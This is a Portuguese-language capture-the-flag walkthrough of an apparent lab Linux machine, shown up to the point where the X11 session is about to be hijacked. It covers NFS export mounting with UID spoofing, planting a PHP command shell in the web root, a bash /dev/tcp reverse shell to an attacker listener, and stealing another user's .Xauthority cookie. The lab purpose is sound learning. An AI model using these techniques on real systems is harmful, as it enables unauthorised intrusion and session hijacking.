Máquina Linux fácil onde exploramos uma falha de configuração presente em compartilhamentos NFS que nos permitiu imitar usuários, o que posteriormente nos levou a acessar arquivos que não deveríamos. Por fim, tiramos uma captura de tela de outro usuário através do software x11, de modo que pudemos escalar privilégios obtendo uma shell como root.
Reconhecimento de Rede
Verificando a conectividade via Ping
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.
attacker> ping -c 1 10.10.11.191
PING 10.10.11.191 (10.10.11.191) 56(84) bytes of data.
64 bytes from 10.10.11.191: icmp_seq=1 ttl=63 time=168 ms
--- 10.10.11.191 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 167.961/167.961/167.961/0.000 ms
Varredura de Portas e Serviços
Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta rustscan para verificar todas as portas (1-65535) no alvo. A varredura revelou a porta 80 HTTP aberta rodando um Apache 2.4.41 em um Linux Ubuntu, além das portas 22 SSH e 2049 NFS.
Como há muitas portas abertas, para uma melhor visualização utilizei a ferramenta nmap-bootstrap, que transforma a saída xml do nmap em um arquivo html com visual melhorado.
Após a leitura do TTL do ping e da saída do nmap, sabemos que o alvo é um Linux Ubuntu. Para ampliar nossa enumeração a respeito do sistema operacional, podemos consultar as versões SSH e Apache neste caso para obter mais detalhes sobre qual distribuição está em uso através do site da launchpad.
Neste caso, ambos os serviços fazem referência à distribuição Ubuntu Focal. Esta detecção é útil para ter uma ideia se o alvo utiliza algum container, por exemplo, caso os serviços retornam distribuições diferentes, então é algo útil a ter em mente durante a fase de enumeração.
HTTP (80) Enumeration
Em seguida, procedi a enumerar o serviço HTTP usando a ferramenta whatweb para coletar informações sobre o software e a versão do servidor web. A saída mostra que na porta 80 há um servidor web Apache/2.4.41. Nada diferente do que obtemos com nmap anteriormente.
attacker> whatweb -v http://10.10.11.191 | tee whatweb.txt
WhatWeb report for http://10.10.11.191
Status : 200 OK
Title : Built Better
IP : 10.10.11.191
Country : RESERVED, ZZ
Summary : Apache[2.4.41], Bootstrap, HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], JQuery[3.0.0], Script, X-UA-Compatible[IE=edge]
...
HTTP Headers:
HTTP/1.1 200 OK
Date: Sat, 17 Dec 2022 20:21:06 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Sat, 17 Dec 2022 20:20:01 GMT
ETag: "7f14-5f00bcf98b296-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3375
Connection: close
Content-Type: text/html
Navegando na porta 80, temos o website de uma loja de móveis.
A princípio não há nada chamativo neste site, sendo preciso que façamos alguma descoberta de conteúdo para obter mais informação, mas por enquanto, como também temos o serviço NFS exposto, vamos enumerá-lo, se necessário, voltamos ao HTTP.
NFS (2049) Enumeration
Listando as montagens presentes no NFS podemos ver que temos a presença de dois diretórios do alvo, /home/ross e /var/www/html.
attacker> showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross *
/var/www/html *
Assim, podemos montá-los em nossa máquina atacante para que possamos ver o que está realmente nestes diretórios.
attacker> mkdir /mnt/ross; mkdir /mnt/html
attacker> mount -t nfs 10.10.11.191:/home/ross /mnt/ross
attacker> mount -t nfs 10.10.11.191:/var/www/html /mnt/html
Olhando a estrutura dos diretórios montados, vemos que em alguns deles não temos permissão de acesso, mas o que chama atenção é a presença do arquivo Passwords.kdbx.
Passwords.kdbx é provavelmente o nome de um arquivo de banco de dados de senhas criado com o software de gerenciamento de senhas Keepass. Podemos até tentar abri-lo, mas será solicitada uma senha mestra que não temos até o momento.
Partindo para a montagem do servidor web, temos alguns arquivos com o ID 2017 atribuído, aos quais não temos acesso porque nosso usuário na máquina atacante não tem esse ID.
attacker> ls -la /mnt/html
total 52
drwxrwxrwx 5 2017 www-data 4096 Dec 17 16:30 .
drwxr-xr-x 5 root root 4096 Dec 17 16:28 ..
drwxr-xr-x 2 2017 www-data 4096 Dec 17 16:30 css
drwxr-xr-x 2 2017 www-data 4096 Dec 17 16:30 images
-rw-r----- 1 2017 www-data 32532 Dec 17 16:30 index.html
drwxr-xr-x 2 2017 www-data 4096 Dec 17 16:30 js
NFS Imitation
Algumas vezes haverá arquivos/diretórios na montagem aos quais você não terá acesso porque eles têm uma identificação atribuída que existe na máquina alvo, mas não existe na máquina atacante. Para burlar isso, podemos listar o ID do arquivo/diretório e então, na máquina atacante, atribuir esse mesmo ID a um novo usuário, para que possamos acessar e manipular o arquivo/diretório "fingindo" ser um usuário com permissão de acesso baseada no ID que imitamos.
Então vamos criar um usuário (john) em nossa máquina atacante e associá-lo o ID 2017.
attacker> useradd john
attacker> usermod -u 2017 john
attacker> groupmod -g 2017 john
Ao migrar para este usuário, podemos ver os arquivos do webserver.
attacker> su john
john> id
uid=2017(john) gid=2017(john) groups=2017(john)
Existe um index.html, se nós dermos um grep neste arquivo com o mesmo título do site de móveis presente na porta 80, vemos que ele tem o mesmo título. Assim, podemos imaginar que esta montagem é referente ao website presente na porta 80.
Como PoC para validar esta hipótese, podemos criar um arquivo test.txt na montagem e ver se ele reflete na porta 80.
john:/mnt/html> echo 'Hello World' > test.txt
Indo até o webserver procurando por este arquivo que criamos, vemos que ele aparece, ou seja, existe de fato uma conexão entre a montagem e o servidor web.
Gaining Access
Com o wappalyzer podemos ver que o servidor web interpreta a linguagem PHP, de modo que podemos criar um arquivo PHP malicioso na montagem do servidor web para que possamos executar comandos remotamente no alvo.
Uma vez que este arquivo esteja no servidor web, tudo que temos que fazer é acessá-lo no navegador e com o parâmetro ?cmd= podemos executar comandos no alvo.
Portanto, tudo o que temos que fazer é nos colocar em escuta na máquina atacante com netcat e nos enviar uma reverse shell com o comando bash -c "bash -i >%26 /dev/tcp//443 0>%261". Assim, ganhamos acesso ao alvo.
attacker> nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.75] from (UNKNOWN) [10.10.11.191] 53574
bash: cannot set terminal process group (1084): Inappropriate ioctl for device
bash: no job control in this shell
alex@squashed:/var/www/html$ hostname -I; id
hostname -I; id
10.10.11.191 dead:beef::250:56ff:feb9:52e6
uid=2017(alex) gid=2017(alex) groups=2017(alex)
Upgrade da Shell
Após obter o acesso inicial com o shell reverso, o próximo passo foi melhorar a interatividade da shell para garantir que tivéssemos um controle mais robusto sobre o sistema alvo.
Gerando um console bash em segundo plano: Para garantir que tivéssemos um bash funcional, foi necessário criar um processo de bash através do comando script, que abre uma sessão interativa mais apropriada, logo após, colocamos em background com CTRL+Z:
Verificando as dimensões do terminal na máquina atacante: Antes de ajustar o terminal no alvo, verificamos as dimensões da janela na máquina atacante para mantê-las iguais:
attacker> stty size
53 209
Resetando o terminal no alvo: Após isso, resetei o terminal do alvo com uma nova TTY:
attacker> stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
Definindo dimensões e variáveis de ambiente: Com o terminal tratado, exportei as variáveis de ambiente e ajustei as dimensões corretamente:
Agora que temos um console estabilizado, com o comando lsb_release -a vemos que de fato a distribuição do alvo é um Linux Ubuntu Focal, como indicava o launchpad.
alex@squashed:/var/www/html$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04.5 LTS
Release: 20.04
Codename: focal
Podemos iniciar nossa etapa de internal discovery do alvo buscando quais usuários possuem alguma shell no sistema checando o arquivo /etc/passwd. Nele vemos a presença de 2 usuários, alex, com quem estamos logados, e ross.
Com essa flag, concluímos o primeiro objetivo do CTF e podemos passar para a próxima etapa de escalar privilégios para obter acesso a flag root.txt.
Privilege Escalation
Listando o diretório /home/ross vemos que é a mesma estrutura da montagem que fizemos na máquina do atacante, e que nele contém o arquivo .Xauthority com ID 1001.
alex@squashed:/home$ ls -la ross/
total 68
drwxr-xr-x 14 ross ross 4096 Dec 16 06:33 .
drwxr-xr-x 4 root root 4096 Oct 21 14:57 ..
-rw------- 1 ross ross 57 Dec 16 06:33 .Xauthority
lrwxrwxrwx 1 root root 9 Oct 20 13:24 .bash_history -> /dev/null
drwx------ 11 ross ross 4096 Oct 21 14:57 .cache
drwx------ 12 ross ross 4096 Oct 21 14:57 .config
drwx------ 3 ross ross 4096 Oct 21 14:57 .gnupg
drwx------ 3 ross ross 4096 Oct 21 14:57 .local
lrwxrwxrwx 1 root root 9 Oct 21 13:07 .viminfo -> /dev/null
-rw------- 1 ross ross 2475 Dec 16 06:33 .xsession-errors
-rw------- 1 ross ross 2475 Oct 31 10:13 .xsession-errors.old
drwxr-xr-x 2 ross ross 4096 Oct 21 14:57 Desktop
drwxr-xr-x 2 ross ross 4096 Oct 21 14:57 Documents
drwxr-xr-x 2 ross ross 4096 Oct 21 14:57 Downloads
drwxr-xr-x 2 ross ross 4096 Oct 21 14:57 Music
drwxr-xr-x 2 ross ross 4096 Oct 21 14:57 Pictures
drwxr-xr-x 2 ross ross 4096 Oct 21 14:57 Public
drwxr-xr-x 2 ross ross 4096 Oct 21 14:57 Templates
drwxr-xr-x 2 ross ross 4096 Oct 21 14:57 Videos
what is .Xauthority?
Pentesting x11
A visualização do arquivo .Xauthority de outro usuário é crítica porque se este usuário estiver logado na máquina ao mesmo tempo que o atacante, é possível que o atacante veja a tela dele.
Para ver quais telas estão conectadas à máquina alvo, podemos usar o comando w. Vemos que o user ross está logado usando o display :0.
alex@squashed:/home$ w
22:57:01 up 1 day, 16:23, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ross tty7 :0 Fri06 40:23m 5:26 0.03s /usr/libexec/gn
Se buscarmos Pentesting x11 no Hacktricks, podemos ver como tirar uma captura da tela do alvo. Ao executar alguns comandos de enumeração para x11 como xdpyinfo e xwininfo, é retornado um erro de protocolo.
alex@squashed:/home/alex$ xdpyinfo -display :0
No protocol specified
xdpyinfo: unable to open display ":0".
alex@squashed:/home/alex$ xwininfo -root -tree -display :0
No protocol specified
xwininfo: error: unable to open display ":0"
NFS Imitation ²
Isto porque ao usuário alex não é atribuído um ID com permissão para ler o arquivo .Xauthority, mas podemos usar a mesma lógica que usamos para imitar o ID dos arquivos no diretório do servidor web em nossa máquina atacante, mas desta vez com a montagem que está refletindo este diretório de ross.
De volta à nossa máquina atacante, podemos criar um novo usuário que tenha o ID 1001, necessário para ter permissões sob o arquivo .Xauthority de ross na máquina alvo.
attacker> ls -la /mnt/ross
total 68
drwxr-xr-x 14 1001 1001 4096 Dec 16 01:33 .
drwxr-xr-x 5 root root 4096 Dec 17 16:28 ..
lrwxrwxrwx 1 root root 9 Oct 20 09:24 .bash_history -> /dev/null
...
-rw------- 1 1001 1001 57 Dec 16 01:33 .Xauthority
-rw------- 1 1001 1001 2475 Dec 16 01:33 .xsession-errors
-rw------- 1 1001 1001 2475 Oct 31 06:13 .xsession-errors.old
Ao migrar para john2, temos em seu ID de usuário (UID) o valor 1001, imitando o mesmo ID necessário na máquina alvo para visualizar o arquivo .Xauthority.
attacker> su john2
john2> id
uid=1001(john2) gid=2018(john2) groups=2018(john2)
Finalmente, podemos a partir da montagem ler o arquivo .Xauthority de ross, de modo que vemos que ele carrega um cookie.
No entanto, no alvo estamos logados como alex, e seu .Xauthority é diferente do .Xauthority de ross. Para que o alex tenha o mesmo .Xauthority que o ross, podemos subir um servidor HTTP da máquina atacante e transferir o .Xauthority do ross para o alex usando o wget.
john2:/mnt/ross> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
alex@squashed:/home/alex$ wget http://10.10.14.75/.Xauthority
...
.Xauthority 100%[===================>] 57 338 B/s in 0.2s
alex@squashed:/home/alex$ ls -la
total 68
drwxr-xr-x 15 alex alex 4096 Dec 17 23:05 .
drwxr-xr-x 4 root root 4096 Oct 21 14:57 ..
-rw-r--r-- 1 alex alex 57 Dec 16 06:33 .Xauthority
...
Agora temos que atribuir o diretório /home/alex onde está o arquivo .Xauthority para a variável $HOME que está atualmente vazia.